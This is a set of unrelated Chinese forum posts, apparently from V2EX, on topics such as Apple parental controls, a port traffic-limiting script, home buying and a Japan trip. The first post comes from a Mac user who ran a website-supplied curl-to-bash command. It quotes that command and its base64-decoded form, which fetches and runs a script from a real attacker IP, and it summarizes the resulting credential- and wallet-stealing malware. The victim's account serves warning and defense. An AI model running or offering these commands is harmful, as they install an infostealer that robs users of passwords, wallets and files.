neetz:

趁周末没事折腾了一下自己的 Mac ，下了一堆乱七八糟的软件

刚刚有个网站给了我一个命令，要在终端执行。命令是 /bin/bash -c "$(curl -fsSL shoter.org/c/maxx2)"

感觉是熬夜脑子不清醒了，我真就傻乎乎输入密码执行了脚本，听到 mac 一阵叮叮钉钉的提示音才感觉不对劲

看了一下这个命令实际执行的是 echo "Y3VybCAtcyBodHRwOi8vMTg1LjkzLjg5LjYyL2QvYm9zczU0MjM1IHwgbm9odXAgYmFzaCAm" | base64 -d | bash 会对应执行 http://185.93.89.62/d/boss54235 这上面的脚本

看到这个命令的时候，脑子都凉了，把脚本喂给 Gemini 告诉我说会去执行以下命令

1. 窃取密码 🔑 它会弹出一个伪造的系统对话框，谎称“需要安装应用助手”，诱骗你输入电脑的开机密码。如果你不输入正确的密码，这个对话框会一直骚扰你。

2. 窃取加密货币钱包 💰 (主要目标) 浏览器钱包: 它有一个庞大的列表，专门扫描并窃取数十种加密货币钱包浏览器插件的数据，例如 MetaMask 、Phantom 、Trust Wallet 等。

桌面钱包: 它还会扫描并窃取你电脑上安装的桌面钱包程序数据，例如 Exodus, Atomic, Ledger Live, Coinomi, Electrum 等。

1. 窃取各类浏览器数据 🌐 它会攻击市面上几乎所有的主流浏览器（ Chrome, Safari, Firefox, Edge, Brave, Opera 等）。

窃取内容包括：保存的登录名和密码、Cookies (可以用来登录你的账户)、历史记录、信用卡信息等。

1. 窃取个人敏感文件 📄 钥匙串 (Keychain): 复制你整个系统钥匙串文件，里面可能包含你的 Wi-Fi 密码、应用密码等。

备忘录 (Notes): 提取你“备忘录”应用里的所有文字内容。

本地文件: 扫描你的“桌面”和“文稿”文件夹，专门寻找 .pdf, .docx, .txt, .wallet, .key 等敏感文件并进行复制。

1. 打包上传，发送给黑客 📤 它会将以上窃取到的所有信息打包成一个 .zip 压缩文件。

然后将这个文件上传到黑客的服务器（ IP 地址为 185.93.89.62 ，和你之前那个脚本是同一个地址）。

1. 植入后门并替换正常程序 🚪 持久化后门: 它会用你输入的密码，在系统里创建一个启动守护进程 (LaunchDaemon)。这意味着即时你重启电脑，这个恶意软件也会自动运行，让黑客可以持续控制你的电脑。

程序木马化: 它会尝试用一个从黑客服务器下载的恶意版本来替换你电脑上正版的 Ledger Live 加密钱包应用。

这个是不是只能重装系统了？我还要做什么来保护自己的账户吗

revlis7:

最近给女儿买了个 iPad ，想给她看看英语动画片磨磨耳朵。我看着自己 iPhone 里有个家长控制，想着哎这个挺好，可以控制她使用时间，可没想到啊没想到，这一趟让我真正领教了什么叫做坑爹！ OK ，让我们现在开始！

首先，添加儿童账号需要注册一个新的 Apple Id ，那当然要新的邮箱或者手机号咯，那现在注册个邮箱也挺麻烦的，而且国内邮箱安全性也难保证，就想用我自己 gmail 的别名账号吧。结果提示：邮箱已存在。看来应该是苹果不允许使用别名账号，行，手边也正好有一个不用的手机号，那就用手机号吧，注意，这个也是苹果默认的注册方式，看来国内一切还是手机号方便。以为就这么完了，没想到就是这关键一步，让我掉进了一个又一个的坑里！

友情提示：注册儿童账号时一定要选择邮箱账号！！！如果你不想注册国内的邮箱，可以选择“没有邮件地址并获取新的 iCloud 电子邮件地址“。但是！这步以后会不会有其他的坑，那我就不知道了，因为我走的是一条更崎岖的道路！只能怪我在这步眼瞎没看到，之后的事且听我慢慢说来……

紧接着一顿操作完了，打开家长控制一看，唉？怎么没有同步信息？这就难受了呀。小红书上一搜，大把的都是这个问题，都说要添加邮箱账号才行，难道手机号 Apple Id 它不是 Apple Id 吗？看来还是绕不过注册个新邮箱，那就注册吧。好不容易搞定个新邮箱，又要多记一个密码，绑定成功，咦？怎么还是没有同步信息？再一搜，说必须 iCloud 邮箱。可是我愣是没找到如何直接注册一个 iCloud 邮箱后缀的 Apple Id 的方法（还是怪我前面眼瞎！）。又有说需要设置邮箱为主账号，那就从手机号切换到邮箱账号咯，结果到了验证 Apple Id 这步的时候，反反复复提示：登录 iCloud 失效。那怎么办？解绑邮箱从头再来！

又是一顿操作，咦？怎么手机端注册的密码，在 Apple 网页端注册的时候不能用了？手机端纯数字加英文的组合，到了网页端必须要一位特殊字符……行吧，那我再多记个密码吧。密码改完，填写生日，又又出来个提示：你无法创建 Apple 账户，因为你尚未达到最低年龄要求，请家长或监护人设置“家人共享”。合着还不让我直接注册了？再搜！说可以改生日，OK ，填了一个大于 18 岁的出生年，注册成功！添加家庭组成员，成功！显示多了一个成人家庭成员，开始修改生日……嗯？居然不是立刻生效？还需要家长确认？且只能通过邮件确认？行吧，不就是确认嘛，打开邮箱，我确认……我确认了半天，发觉这个确认链接是无效的！不知道是不是 hotmail 和苹果邮件八字不合，我看了下邮件源码，确认链接里的斜杠全被替换成了其他乱七八糟的字符！还好我会武功，找出链接改一下，终于能打开了，到了这步，又要确认！需要确认家长账号下的支付方式信息！？

如果说子女修改生日需要家长确认我还能理解，为啥家长同意还需要确认支付信息？！不管这么多了！翻出自己的信用卡，输入安全码……错误！我使劲看了看我的信用卡，有效期……没错，安全码……没错，那到底是他妈什么地方错了？你每个月钱不都扣着吗？！是不是信息不同步了？那我再更新一次银行卡信息行不行？好嘛，填完信用卡号安全码，又要银行短信确认，我已经记不清确认了多少步了，但是这一步绝对是我最绝望的一步：

短信验证码错误！

我打出娘胎以来，确认过无数短信，只遇到过收不到确认码，但还从来没遇到过确认短信确认不了的！虽然每一次输验证码都隐约觉得会不会验证不了，可这件事终究是从来都没发生过。可就在今天！终于在这给我遇到了！码，是银联发的，错，是苹果报的，我不知道这个锅该给谁。总之我试了无数次，直到手机号再也无法收到验证码……但是好在天无绝人之路，我想到了我还可以绑支付宝啊，终于在输入支付宝确认码的那一刻，我女儿终于变回了 4 岁！

到了这步，我终于可以在家长账号里看到设置女儿 iPad 的屏幕时间了！你以为完了吗？ NO ！别忘了还有一个手机注册的儿童账号挂在家庭组里呢！作为强迫症患者，你不得把它给踢掉？打开家庭组成员，提示：提示未成年账号只能转移家庭，若要迁出，需等该组成员成年！

苹果我告诉你，我等不及了我！换个姿势再来一次，改生日，又是那个无法确认的确认邮件，又是那个莫名其妙的链接，好在这次支付宝没有为难我，到此大功告成！！！

我看过那么多果黑，我觉得他们都没有说到重点，也从来没真正说服过我。但如果下次再有人问，我想说，让他试试苹果网页服务，还有家庭成员和家长控制，也许那个打不开的链接，大概是 hotmail 邮箱的问题吧……也许那个确认不了的验证码，是银联的锅吧……但是请问，为什么手机号注册的 Apple Id ，它就共享不了家庭屏幕时间呢？为什么确认它确认个生日信息，还需要验证支付方式呢？为什么那个 iCloud ，它就始终验证不了呢？如果有家长搜到这篇文章，但愿它能帮你少走些弯路，也算是我熬夜折腾到现在积了德了好吧……

sNullp:

有人租我的 3090 服务器挖这个，租金$150/月。挖这玩意这么赚钱？

bacon159:

github 地址： https://github.com/ypq123456789/TrafficCop 调试了很久，花费了很大精力，远比想象中要复杂···求鸡腿，坛友们可以测试下，有些小 bug 实在难以修复就先搁置了。能用就行。

TrafficCop 现在支持为多个端口同时设置独立的流量限制！这个功能非常适合需要对特定服务（如 Web 服务器、代理服务、SSH 等）进行精细化流量管理的场景。

功能特点

1. 多端口流量管理 - 同时监控和限制多个端口的流量，使用 JSON 格式存储配置
2. 独立端口流量统计 - 使用 iptables 精确统计每个端口的入站和出站流量
3. 实时流量查看 - 彩色可视化界面，显示所有端口的流量使用情况和进度条
4. 智能配置同步 - 自动同步机器配置，也支持自定义配置
5. 灵活的限制策略 - 支持两种限制模式：
   • TC 模式：对端口流量进行限速
   • 阻断模式：超限后完全阻断端口流量
6. 配置验证 - 确保端口流量限制不超过机器总流量限制
7. 推送通知集成 - 所有推送服务（ Telegram 、PushPlus 、ServerChan ）自动包含端口流量信息
8. 自动化管理 - 支持定时任务自动监控和限制

使用逻辑

场景一：机器未限制流量

当机器尚未配置流量限制时，为指定端口设置流量限制会：

1. 创建端口流量配置
2. 询问是否同步配置到机器流量限制
3. 如果选择同步，端口配置将自动应用到机器级别

场景二：机器已限制流量

当机器已配置流量限制时，为指定端口设置流量限制会：

1. 检查端口流量限制是否小于等于机器流量限制
2. 默认继承机器的其他配置（统计模式、周期、限制模式等）
3. 允许自定义配置以满足特殊需求

安装和配置

方法一：通过管理器脚本（推荐）

bash <(curl -sL https://raw.githubusercontent.com/ypq123456789/TrafficCop/main/trafficcop-manager.sh)

选择 "5) 安装端口流量限制"

方法二：直接运行脚本

sudo mkdir -p /root/TrafficCop && \
curl -fsSL "https://raw.githubusercontent.com/ypq123456789/TrafficCop/main/port_traffic_limit.sh" | tr -d '\r' > /root/TrafficCop/port_traffic_limit.sh && \
chmod +x /root/TrafficCop/port_traffic_limit.sh && \
bash /root/TrafficCop/port_traffic_limit.sh

配置选项

在配置过程中，您需要提供：

1. 端口号 - 要限制流量的端口（ 1-65535 ）
2. 流量限制 - 端口允许使用的最大流量（ GB ）
3. 容错范围 - 触发限制前的缓冲区（ GB ）
4. 配置方式 - 选择使用机器配置或自定义配置

如果选择自定义配置，还需要设置：

• 流量统计模式（出站/入站/总计/最大值）
• 统计周期（月/季/年）
• 周期起始日
• 限制模式（ TC 限速/阻断）
• 限速值（仅 TC 模式）

相关命令

查看所有端口流量（推荐）

# 普通查看
sudo bash /root/TrafficCop/view_port_traffic.sh

# 实时监控（每 5 秒刷新）
sudo bash /root/TrafficCop/view_port_traffic.sh --realtime

# 导出 JSON 报告
sudo bash /root/TrafficCop/view_port_traffic.sh --export

管理端口配置

# 打开交互式配置菜单
sudo bash /root/TrafficCop/port_traffic_limit.sh

# 删除特定端口
sudo bash /root/TrafficCop/port_traffic_limit.sh --remove 80

# 删除所有端口配置
sudo bash /root/TrafficCop/port_traffic_limit.sh --remove

通过管理器访问（推荐）

bash <(curl -sL https://raw.githubusercontent.com/ypq123456789/TrafficCop/main/trafficcop-manager.sh)
# 选择 12) 查看端口流量
# 选择 13) 管理端口配置

查看配置文件

# 查看 JSON 配置（多端口）
sudo cat /root/TrafficCop/ports_traffic_config.json

# 美化输出
sudo cat /root/TrafficCop/ports_traffic_config.json | jq

使用示例

场景：为多个服务配置独立流量限制

假设您的机器有 1TB 的总流量限制，您想为不同服务设置独立的流量配额：

配置多个端口：

1. 运行端口配置脚本
2. 添加端口 80 （ Web 服务）：200GB 限制，10GB 容错
3. 添加端口 443 （ HTTPS ）：300GB 限制，15GB 容错
4. 添加端口 22 （ SSH ）：50GB 限制，5GB 容错

实时查看所有端口流量：

sudo bash /root/TrafficCop/view_port_traffic.sh

输出示例：

════════════════════════════════════════════════════════════
        端口流量监控 - 2025-10-18 15:30:45
════════════════════════════════════════════════════════════

✅ 端口 80 (Web Server)
   已用: 150.2 GB / 200 GB (75.1%)
   [████████████████████████      ] 限速: 20kbit/s
   
🟡 端口 443 (HTTPS)
   已用: 280.5 GB / 300 GB (93.5%)
   [████████████████████████████  ] 限速: 50kbit/s
   
✅ 端口 22 (SSH)
   已用: 15.3 GB / 50 GB (30.6%)
   [█████████                     ] 限速: 10kbit/s

════════════════════════════════════════════════════════════
总计: 3 个端口 | 总用量: 446.0 GB | 总限制: 550 GB
════════════════════════════════════════════════════════════

推送通知示例（ Telegram ）：

📊 [MyServer]每日流量报告

🖥️ 机器总流量：
当前使用：650.5 GB
流量限制：1000 GB

🔌 端口流量详情：
✅ 端口 80 (Web Server)：150.2GB / 200GB
🟡 端口 443 (HTTPS)：280.5GB / 300GB
✅ 端口 22 (SSH)：15.3GB / 50GB

当某个端口流量达到限制时：

• TC 模式：端口速度将被限制到设定值（如 20kbit/s ）
• 阻断模式：端口将被完全阻断，无法接收或发送数据
• 自动通知：所有配置的推送服务会发送警告通知

技术原理

端口流量限制功能使用以下技术实现：

1. iptables - 创建规则统计特定端口的流量
2. tc (Traffic Control) - 实现端口级别的流量控制和限速
3. HTB (Hierarchical Token Bucket) - 分层流量控制，为不同端口分配不同的带宽
4. Packet Marking - 使用 mangle 表标记数据包，实现精确的流量分类

配置文件格式（ JSON ）

{
  "ports": [
    {
      "port": 80,
      "description": "Web Server",
      "traffic_limit": 200,
      "traffic_tolerance": 10,
      "traffic_mode": "total",
      "traffic_period": "monthly",
      "period_start_day": 1,
      "limit_speed": 20,
      "main_interface": "eth0",
      "limit_mode": "tc",
      "created_at": "2025-10-18 12:00:00",
      "last_reset": "2025-10-01"
    }
  ]
}

注意事项

1. 依赖要求：需要 jq 工具（脚本会自动安装）和 iptables
2. 流量统计：端口流量统计从配置时开始，不包含历史流量
3. 先决条件：建议先运行主流量监控脚本，以确保依赖已安装
4. 性能影响：TC 模式可能对端口性能有轻微影响
5. 谨慎使用：阻断模式会完全禁止端口通信，请谨慎使用
6. 多端口支持：✅ 2.0 版本已支持同时配置和管理多个端口
7. 推送集成：端口流量信息已集成到所有推送通知中

liyafe1997:

突然注意到右下角火绒提示病毒库很久没更新了，结果一看上次更新还是 7 月份，怎么检查都是已经最新版？

lustle:

在 windows 系统上用 python -m http.server 8090 临时搭了个站测试，自己用手机移动电信都访问不了 https://test-ipv6.com/ 这个网站测试 10/10 ，可以 ping 通 baidu 的 ipv6 地址 https://6.ipw.cn/ 这个网址访问也没问题 windows 的防火墙都关了，但就是访问不到自建的服务，好像只能出不能进

GeekGuru:

iPhone 手机，只有内存才是最关键的参数指标

YoungKing6:

0x01Dev:

RT ，今天他们好像还暂停订阅了，说是负载比较大

zhouzoki:

是应届毕业生，还没线下面试过，求推荐面试衣服，谢谢各位。。。西装？ polo 衬衫？

ninjaJ: 经常隔三岔五看到讨论手机的帖子，尤其是吐槽发热、内存、续航这些问题。
作为一个有两部手机（一个国区账号，一个外区账号）的人想吐槽另一个问题（暂不讨论手机本身）。

我外区账号的手机（目前 iPhone11 ）永远用的都是退伍机，但是性能和续航永远比国区强，为啥？
现在的国区必备 app 有一个算一个，你别管它是干啥的，身体必然挂满了瘤子：
瘤子 1. 上来给你塞一个小程序，占用多少资源？
瘤子 2. 别管你看不看，视频流推送来一个，占用多少资源？
瘤子 3. 商城（不管是积分商城还是购物），再占用多少？
瘤子 4. 哎呀视频流来都来了，再来个直播吧。

所以，我们的手机里有 N 个小程序、N 个视频流、N 个商城、N 个直播。
能不卡吗？能不烫吗？能不杀进程吗？

哦哦忘了，还有个金融贷款。

心脏只有 1 个，身上挂满了瘤子，那可不走两步就喘，手机的命也是命！🐶

magicxiao:

V 友们，写了一个小的提示词工具： https://prompted.cn/prompts

用来更新热门的提示词，以及效果的。

有什么建议，优先满足 V 友。

Leroy666:

近期金价大涨，老婆想把结婚时候的金手镯拿出来戴 奈何当时买的这个是空心的，容易变形，就想着去周大福换成实心的 去店里问了一圈，搞不懂这个回收价格逻辑是什么

目前金的市场价格是 970 作用 周大福的回收并且买新的价格是 1115 （单回收价是 939 ） 新手镯的销售价格是 1268

旧手镯的克重是 15.64g ， 新手镯的克重是 16.95g ，新手镯工本费是 620

也就是说，相差 1.3g 的镯子，以旧换新的话我需要补 4674 块。

为什么回收买新的价格会高于市场金价呢？这是资本家良心发现了吗？

请给位老哥 b 帮忙分析分析，这种以旧换新的方式有坑吗？

liww202312:

关于我们

Top3 加密货币交易所，日交易量数十亿美元

岗位

1. 资深大数据工程师（ P7 ）- Hadoop/Spark/Flink
2. Salesforce 工程师（ P7 ）- CRM 系统开发
3. Flutter 工程师（ P6/P7 ）- APP 开发

工作方式

• 前 3 月国内远程
• 后续 base 吉隆坡（需 relocate ）
• 我本人就在吉隆坡，可以帮你适应

优势

• 薪资绝对让你满意
• 身边同事都是中国人（吉隆坡这边大约有 240 人，公司总人数：2000 人左右，大部分领导不在这边）
• 税低

seraphlz:

如题。之前只用过 digitalocean ，不知道有没有更稳定，不容易 IP 被墙的主机？主要用来自建梯子。

nightnotlate: 因为想买小高层或者洋房的顶楼，预算又有限。
加上要搬家，想着就看看房子，有合适的就买了。

翻来翻去，目前有三个可供考虑的。
1 ，六七层小洋房，面积还行，电梯，小区门口有小学，地铁在一公里，靠江边我很喜欢。
但地段很偏，没商业，属于就算中了免单券都点不到奶茶的那种。
小区内环境不错，比较安静，物业打扫的也干净。
房子便宜，但采光不好，通风一般。
而且可能有通病，刷到有人说这里的房子赶工导致墙体发霉。

2 ，八层小洋房，电梯，
优点：有个小阁楼，是斜顶，漏水风险小，而且不会有人上房顶，
小区内环境好，绿化好。
房子在小区最里面一排，远离道路，窗外就是青山，大片的树木。 应该会住的非常安静。
缺点：山上有坟，站阳台就能看到。
虽然我无所谓，但想来可知，这的房子买了就基本卖不出去了。
而且地段不好，是在高架路口边的犄角旮旯，山脚下建的很小的一个小区。
附近就没东西，后面是山，前面是高架。
地铁在一公里。
而且价格比第一个贵不少。

三，十一层小高层，
复式，地段相对好点，商业好点，也在江边，可以散步溜达。地铁站几百米。
装修还可以，比较符合年轻人审美。
缺点 户型一般，观感上没那么宽敞。
小区其他楼都是三十多层，密度高，楼顶是平顶，漏水风险比斜顶高，而且可以上去人。各种上去晾衣服的很可能会吵醒我睡觉。
价格也比较高，比第二个还要贵一点。

不太考虑学区和通勤的情况下，各位觉得哪种更好点呢？
还是应该继续观望呢？

akiyamamio:

比如有某个事（非保密事件）发生了，这个国家的官方媒体发布了消息，那才认为是真的；如果有其他人在官媒之前提前说了，会被认为是造谣而追究责任，即便这件事确实是发生了。

你们同意以上这种做法吗？不局限于杨振宁逝世这件事，也不局限于是哪个国家。

TheNine: 用 amd 的 5600g 吧家里的 pve 和软路由 换下来了。
现在多了一台笔记本 6500u 940m
和 i5 6500
笔记本装了飞牛，但是解码非常吃力，不知道能用来做啥。
还有一台 6500 也不知道该干啥

KingCoding:

背景：本人一年左右 java 开发工作经验，在一家小公司干开发，数据库使用的是 MySQL,配置基本上都是默认，应用端数据库连接池使用的是 HikariCP ，也配置了一些参数，最近测试环境遇到连接数超的情况。在网上查询了一些方法看着有点迷。

尝试解决：

1 、调整数据库的 max_connections

2 、缩短系统设置的连接数的清除时间

3 、根本原因：存在长连接、慢 SQL 等占用连接不释放的情况

疑问：没有这方面的经验，请教各位前辈第二条数据库默认是 8 小时，是否建议调整呢？或者这个问题会不会还存在其他的原因呢？以及如何排查呢？

ipangpang:

有些 EMO ，又不知所措。

ETH 这一波大回调，差点把账户余额清空了。

唉，也怪自己贪心，上了杠杆。

marquina:

一、行前准备与规划

作为一个老二次元，我嚷嚷着去日本玩有好几年了。但真落实到行动时，却有点叶公好龙：担心开销大、没有特别想玩/想吃/想体验的东西，等等。办护照、买机票、定酒店，都是一步步“挪动”完成的。但或许正是因为没有太多期待，所以 2025 年秋天我自己去的这趟日本，反而体验不错。

这是我第一次出国。长沙到日本航线不多，到关西机场是最方便的，于是我选定了关西几大城市作为目的地。国庆假期比较长，我额外请了 4 天假，最终在日本待了 9 天 8 晚，加上国内一晚转机的话是 10 天 9 晚。

信息收集

我先在 B 站看了一些视频，被推荐了Klook这个软件，在这个软件里意外发现大版/神户有城市周游卡，可以提前买好票，然后畅游城市里的大量景点，正适合我这种没啥预期+喜欢薅羊毛的人。

我在朋友们那打听到了可以去闲鱼上让卖家用积分预定酒店，价格会比较实惠；和我同时间去日本的同事给我推荐了廉价的地下民宿和微信的汇率优惠活动。

我还在小红书上简单看了下攻略，了解了 ICOCA 交通卡。我还用阿里的旅行规划师 AI （Qwen）做了规划，但效果很差，没用上。

总体来说，我推荐先用Klook这种相对专业的旅游工具搭好一个基础框架，然后用小红书/朋友交流/搜索引擎等完善框架内的细节。

同时推荐： [飞行社] 从零开始的赴日现地 live 攻略

行程设计

知道了周游卡，我就确定了大阪/神户/京都三个城市（前两座城市可以用周游卡）。结合酒店价格和交通，再确定了具体路线：京都->神户->大阪。

挑选了一些感兴趣的景点后，我会把景点加入到滴答清单里，安排好日期时间。实际旅游时，我的行程和计划的基本一致，只是会根据现场情况略微做调整。

预定情况

我的机票大概是提前 6 周定的，价格比较满意（来回总共两千左右）。去日本是在山东进行隔夜中转，为了省几百元机票多花了时间和精力……下次还是优先考虑直飞吧。

我的酒店是提前 3 周定的，但此时已经没有太多优惠的选择了，到大阪时恰逢世博会闭幕，一千元每晚的住宿条件依然很一般。最后在 Agoda 和闲鱼上预定了酒店，平均每晚 900 元左右。

ICOCA 交通卡我是在抵达日本后在机场用现金买的，抵达大阪后去往京都的 HARUKA 特快是提前在 Klook 买的；我在国内提前买了日本的上网卡，抵达日本后发现信号不稳定，于是我在中国移动开通了 10 日 10G 的日本流量套餐备用。

周游卡里大部分景点只需要现场扫描二维码，少部分景点需要提前网上预约。京都没有周游卡，但许多景点免费进入，少部分现场买票即可。

我去的大部分餐厅都没有提前预定位置（只有一次神户和牛预定了），而是直接用 Google Play 搜索附近餐厅然后直接 walk in ，少数排队太长的店我就直接放弃了。

携带物品

除了长期出行必备的东西外，为日本准备了如下物品：护照、境外上网卡、日元现金、日元钱包（带硬币）、垃圾袋。

垃圾袋没有用上，我旅行时会尽量避免制造垃圾；产生垃圾的话会拿在手上或放在包里，然后尽早到便利店或酒店扔掉。

日本的双插头和中国是通用的，我出行只需要带一个支持 100v 宽伏的双口充电头就可以解决充电问题。

充气颈枕极大提升了我旅行体验，在飞机/博物馆/跨城交通等多个场景，我都可以打会盹来养精蓄锐。

二、财务与开销

本次旅行（ 9 天 8 晚日本+1 天 1 晚转机）总共耗费 1.37 万元。略微超出了之前的预期（ 1.2 万元），主要是酒店比我想象中的贵不少，还吃了一顿 1000 元的神户和牛。

其中 50%为酒店住宿，20%+为饮食，15%为机票，其余是当地交通、周游卡、景点门票、纪念品等杂费。国内的网购足够发达了，我没有进行大额购物。

比较超值的是神户的酒店，在闲鱼让别人预定了 3 晚的 choice 酒店，每晚 600 元就能住上宽敞的双人房；而在 agoda 上预定的大阪酒店，每晚 1000 元但房间里甚至难以摊开行李箱。

周游卡也很超值，某一天总共游览了超过 1 万日元的景点，但周游卡的成本只有 2500 日元。

出发前我听说日本很依赖现金，于是提前在银行换了 5 万日元，但抵达后发现只有少部分场景（酒店洗衣机、景点纪念品、某些小饭馆、ICOCA 卡充值等）必须要用现金，所以后面几天我尽量刷信用卡 or 微信支付来付款。

三、行程与城市体验

京都

推荐

• 伏见稻荷大社，非常有日本传统味道，山顶景色很好
• 铁道博物馆，内容丰富，整体素质非常高

不推荐（至少是白天的）八坂神社，内容少+乏味。

京都五条假日酒店居住体验比较舒适，走几分钟到地铁，好评。

神户

推荐

• 竹中大工道具馆，木工主题，整体素质非常高
• 神户动物王国，和动物亲密接触的体验很好
• GOCOCU 自助餐+楼顶展望台，风景绝佳

北野异人馆街相对一般，内容较为单薄。

Comfort Hotel Kobe Sannomiya 酒店靠近交通枢纽，用积分预定非常实惠，好评。

大阪

推荐

• 大阪城天守阁，有免费的中文语音导览服务
• 海洋堂手办博物馆 + 日本桥商店街，二次元逛得很开心

吐槽梅田空中庭园，在周游卡覆盖范围内，但晚上去只能打 9 折……人很多，上去之后都是玻璃幕墙，感觉很不值。

难波站前相铁 FRESA INN 饭店偏贵+狭小，最大的优点是难波站就在门口，不推荐。

行程节奏

城市内行动基本靠轨道交通+步行，巴士不太准点。一天可能要走两万步以上，如果再涉及爬山的话强度确实稍高。除非景点集中，否则还是得安排休息时间。

城市间移动有点困扰我，虽然 JR 城铁很便捷，但收拾东西+磨蹭一下，换城市得花一上午；由于日本酒店要下午 3 点后才能入住，我又不放心把电脑暂存在酒店大堂，入住当天我就只能背着电脑到处跑。

日本的轨道交通比较复杂，但严格按照 Google Map 提示+留意指示牌，我没有遇到大的阻碍。

四、自我成长与收获

我平时看动漫较多，来日本前紧急用多邻国补充了一些基础的语感，我发现只要敢于开口，我是能用简单的日语和英语在日本和他人沟通的。再加上流畅的行程安排，这都让我增强了独自处理问题的能力，也增加了我对自己的信心。

我之前对拍照不感兴趣，但这次我开始喜欢上用照片记录瞬间的感觉，拍照技术也在 AI 的指导下逐渐增加。

我对旅游的看法也有一些改观，体验新奇且高质量的美食、景色、公共服务，确实让人心情愉悦，也是人生体验中非常宝贵的部分，而不是单纯的挥霍钱财。

五、总结与展望

给自己的建议

对于下次旅行，我会：

• 关注但不局限于周游卡，从城市特色、自己的爱好两方面规划行程
• 更早预定机票和酒店，兼顾价格和体验
• 准备一个小背包，避免携带重物在城市里游览

给其他人的建议

• 大胆开口，世界上的许多人都很友善
• 多多利用旅游网站和景点官网的资源
• 良好的日程管理会让你游玩地更顺心
• 碰到看不懂的内容可以拍照让 AI 来解释，更加享受当地文化

一些额外的资源：

• 日本旅游规划大纲 - Gemini
• [飞行社] 从零开始的赴日现地 live 攻略
• 动画巡礼 - anitabi - 圣地巡礼 - 聖地巡礼 - せいちじゅんれい - 神奇海螺试验场

一不小心写了很多内容，谢谢你看到这里。世界很大，祝你探索得开心~

---

原文: 2025 国庆假期日本之旅复盘 - OrangeWolf 的博客

lingku:

在 github 上发现了一个基于 Docker 的网页版 Linux 微信，支持本地输入法，支持 X86 和 ARM ，支持图片复制，支持侧边栏传输上传和下载文件。 基础镜像是 docker-baseimage-selkies ，基于 selkies 的，比 no-vnc 和 kasm 都要体验好。 docker 拉取地址：git pull ghcr.io/nickrunning/wechat-selkies:latest 参考链接： https://github.com/nickrunning/wechat-selkies

mytsing520: 运营商：甘肃移动

合约有效期：承诺在网 3 年
（到期后如不续约，应归还由运营商提供的光猫、网关、机顶盒等所有设备，如局部归还、丢失或损坏，则赔付 200 元/台设备）

装机调测费：200 元/户；移机费：100 元/户

速率规范：
50M 宽带，50M 下行，10M 上行；
100M 宽带，100M 下行，20M 上行；
200M 宽带，200M 下行，40M 上行；
300M 宽带，300M 下行，40M 上行；
500M 宽带，500M 下行，50M 上行；
800M 宽带，800M 下行，50M 上行；
1000M 宽带，1000M 下行，50M 上行。

其他说明：
1.明确不提供固定公网 IP 地址；
2.明确家宽服务不得用于商用目的，不得对外流量经营和内容分发，不得通过带宽汇聚等手段用于 CDN 分发；不得用于 PCDN 或为此行为牟利。
3.以下行为之一即认定为 PCDN：
（ 1 ）单个宽带账号单位时间内上传流量大于下载流量 2 倍或以上的；
（ 2 ）单个宽带账号单日上行流量超过 10GB ；
（ 3 ）单个宽带账号自然月上行流量超过 600GB ；
（ 4 ）单月访问外省 IP 或 DNS 超过 10000 次。
4.违约：
上述行为及其他违反法律法规，被主动监测到，或被监管机构通报，或被投诉，视为违约。首次违约，将采取包括但不限于关停机、限制通信；第二次违约，甘肃移动有权终止服务。

alading11:

https://www.ithome.com/0/890/443.htm 阴谋论太离谱了，想听下站里专业人士的分析

catyun88:

理工男脉冲理论指部分理工科背景的男性在婚恋中，平时表现较为沉寂，一旦觉得需要推进关系或解决矛盾时，便会突然进行密集的物质或情感付出，如同电脉冲一样短时间释放大量能量。

行为特征：这类男性会把女性抛出的每一个问题当作试卷上的考题，当女生提出想要某个东西或有某种需求时，如想要最新款的包、手机，或想跟闺蜜出去旅行但钱不够等，他们会立即满足。并且一旦一个问题没有解决，他们就会在女生的引导下，甚至自己主动反思自己的不足，认为是自己的问题导致对方不满意。

理工男的这种行为模式可能是因为他们在成长过程中，情感功能被自我阉割，共情力匮乏。同时，他们可能受到社会环境和家庭背景的影响，例如从小生活在 “严父” 型家庭，父亲是家里的权威，导致他们将情感需求压抑，在婚恋中只能通过这种脉冲式的方式来表达情感和解决问题。

典型案例：翟欣欣案被认为是理工男脉冲理论的典型案例。在该案件中，交友网站上的职业捞女翟欣欣利用理工男思维的成功人士的做题思维，骗得对方财产，最终导致对方付出了生命的代价。

其实这么多话 简单来说 就是 龟男呗 最终问题还是性压抑导致的

KaneW95:

朋友圈的余下功能很奇怪，新发的朋友圈会被合并到之前发的朋友圈下面，从入口点进去根本看不到最新的

swling:

用免费的 chatgpt 聊天实现的全部代码编写，耗时一个月完成基本功能。

个人开发者现在要上架 GooglePlay 需要至少 14 个用户，连续封闭内测两周。差点倒在这里。好在终于通过了。

因为包含境外电台，所以接口域名对中国大陆做了屏蔽，只能用梯子才能正常访问。

欢迎评测，提意见： https://play.google.com/store/apps/details?id=com.tingfm.main

kuku:

今天有个外国朋友问我有没有看过 HTX studio, 说上面的视频非常酷。我说没看过，好奇打开一看，原来是何同学（ HTX)在 Youtube 上的工作室 ( https://www.youtube.com/@HTXStudio ） ，已经有 1.36M 订阅了。我跟他说这个 Youtuber 很年轻，好像大学毕业没几年，他表示大为惊叹。

我又想起前两天听老罗的博客，影视飓风 Tim 立下的五年计划，要做中国的 Mr. Beats, 并且要超越他，要有 1 个亿的全球订阅。我相信他们一定是可以做到的。

0x01Dev:

有没有长期做海外兼职的朋友们呀，这种情况会被查么，我干了大半年也没人联系过我，不知道会不会被喝茶